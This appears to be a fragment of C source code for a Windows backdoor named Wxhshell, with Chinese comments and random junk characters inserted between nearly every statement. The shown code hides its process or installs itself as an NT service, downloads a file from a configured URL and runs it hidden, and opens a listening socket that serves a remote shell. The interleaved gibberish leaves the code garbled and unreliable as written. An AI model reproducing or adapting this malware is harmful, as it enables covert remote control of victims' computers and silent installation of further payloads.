9$ CloseHandle(hProcess); $9u xWI 0s;k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YnL?t-$Gg if(hProcess==NULL) return 0; P(gID OrqJo!FEg{ HMODULE hMod; oKqFZ,m[ char procName[255]; )@&?i. unsigned long cbNeeded; kl<B*:RqH UHDI9>G~, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X9BBnZ d"$oV~>P| CloseHandle(hProcess); WoT z' QcVtv7+*v if(strstr(procName,"services")) return 1; // 以服务启动 \/dm}' ` &+|4(d1 return 0; // 注册表启动 >"My\o } g|*eN{g]uE 'f<_SKd // 主模块 ;.[$ int StartWxhshell(LPSTR lpCmdLine) .KMi)1L) { HC`3AQ12!& SOCKET wsl; 7%x+7 BOOL val=TRUE; >Ezwl5b int port=0; Yt<PKs#E struct sockaddr_in door; sWCm[HpG eBRP%<=>D if(wscfg.ws_autoins) Install(); 2%yJo7f$[ U@AfRUF& port=atoi(lpCmdLine); h*LL(ow5 N~KRwsDH if(port<=0) port=wscfg.ws_port; zjZTar1Re 2cL)sP} WSADATA data; VYQbyD{V w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1EPOYvf%U bHT@]`@@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c\ *OId1{; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); swgBPJ"? door.sin_family = AF_INET; ASU\O3%% door.sin_addr.s_addr = inet_addr("127.0.0.1"); n^)9QQ door.sin_port = htons(port); I*R$*/) T/6=A$4
# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TmZ[?IL, closesocket(wsl); beR)8sC3q return 1; y5D?Bg|M } pREYAZh Ax*~[$$~% if(listen(wsl,2) == INVALID_SOCKET) { "kg$s5o closesocket(wsl); q,&T$Tw return 1; ,FVy:"FR } [LDzR7vnf Wxhshell(wsl); i)3\jO0&GU WSACleanup(); gQDK?aQX W>nb9Isp return 0; X($SBUS6 B9-[wg#0G } Z!eq / W-QPO // 以NT服务方式启动 ,e_# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p00AcUTq { ;qK6."b`; DWORD status = 0; LS$82UB& DWORD specificError = 0xfffffff; ;VRR=p%, 5^/[] * serviceStatus.dwServiceType = SERVICE_WIN32; mIo7 K5z{ serviceStatus.dwCurrentState = SERVICE_START_PENDING; l$ 9, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0z#kV}wE serviceStatus.dwWin32ExitCode = 0; Af<>O$$6 serviceStatus.dwServiceSpecificExitCode = 0; W10fjMC}^ serviceStatus.dwCheckPoint = 0; /D+$|kmW] serviceStatus.dwWaitHint = 0; fC|u ~Xw?>& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e6'O,\ if (hServiceStatusHandle==0) return; 8m<<tv. dhkpkt<G8 status = GetLastError(); b{Ss+F if (status!=NO_ERROR) 2GzpWV( { AMz=HN serviceStatus.dwCurrentState = SERVICE_STOPPED; W9'jzP serviceStatus.dwCheckPoint = 0; vDvGT<d serviceStatus.dwWaitHint = 0; )&Bv\Tfjt serviceStatus.dwWin32ExitCode = status; j}l8k@f serviceStatus.dwServiceSpecificExitCode = specificError; 3>Snd9Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;~1JbP return; w'XgW0j{ } i@L2W>{P o hlVc%a serviceStatus.dwCurrentState = SERVICE_RUNNING; I|z#Aoc serviceStatus.dwCheckPoint = 0; 0 XzO`* serviceStatus.dwWaitHint = 0; .YF-t`{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I9>*Yy5RNS } jRAL(r| tvRy8u; // 处理NT服务事件,比如:启动、停止 4N j?UDa VOID WINAPI NTServiceHandler(DWORD fdwControl) "mK (?U!A { koZp~W- switch(fdwControl) cO&9(.d { BH a>2N case SERVICE_CONTROL_STOP: ~#\#!H7 serviceStatus.dwWin32ExitCode = 0; O%e.u>=4% serviceStatus.dwCurrentState = SERVICE_STOPPED; e]?S-J' z serviceStatus.dwCheckPoint = 0; P.DWC'IBN serviceStatus.dwWaitHint = 0; ?F{xDfqw { ^j}sS!p SetServiceStatus(hServiceStatusHandle, &serviceStatus); {m:R v&T } G|_aU8b|t return; iZk``5tPE case SERVICE_CONTROL_PAUSE: G9Tix\SpF serviceStatus.dwCurrentState = SERVICE_PAUSED; pr(\?\a break; taaAwTtk?A case SERVICE_CONTROL_CONTINUE: DU8LU*q' serviceStatus.dwCurrentState = SERVICE_RUNNING; +9CUnRv break; q(^J7M) case SERVICE_CONTROL_INTERROGATE: MGDv4cFE. break; /GGu` f }; YU(*kC8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); "s9gQAoaO } V}+;bbUc- =lQ[%& // 标准应用程序主函数
5AU3s int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >/bK?yT< { $t'I*k^N |Eu~=J7@ // 获取操作系统版本 Qpf]3 OsIsNt=GetOsVer(); ?GU!ke p GetModuleFileName(NULL,ExeFile,MAX_PATH); %nF\tVP3] XtdLKYET // 从命令行安装 S]O Hv6 if(strpbrk(lpCmdLine,"iI")) Install();
kZ%W?# %tQ{Hf~ // 下载执行文件 IQ~7vk() if(wscfg.ws_downexe) { a@ }r[0O if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q.{/{9 WinExec(wscfg.ws_filenam,SW_HIDE); tta0sJ8i } 6qpV53H F*:NKT d if(!OsIsNt) { @$K q<P // 如果时win9x,隐藏进程并且设置为注册表启动 :9#{p^:o HideProc(); Uy|=A7Ad
c StartWxhshell(lpCmdLine); <OSvRWP) } ?^4sE-C6 else PGl-2Cr if(StartFromService()) + Z2<spqG // 以服务方式启动 ^oO5t-9<! StartServiceCtrlDispatcher(DispatchTable); pu*u[n else z>;+'>XXgx // 普通方式启动 l0xFt
~l StartWxhshell(lpCmdLine);
D#}Yx]Q1 [iy;}5XK return 0; f<p4Pkv }
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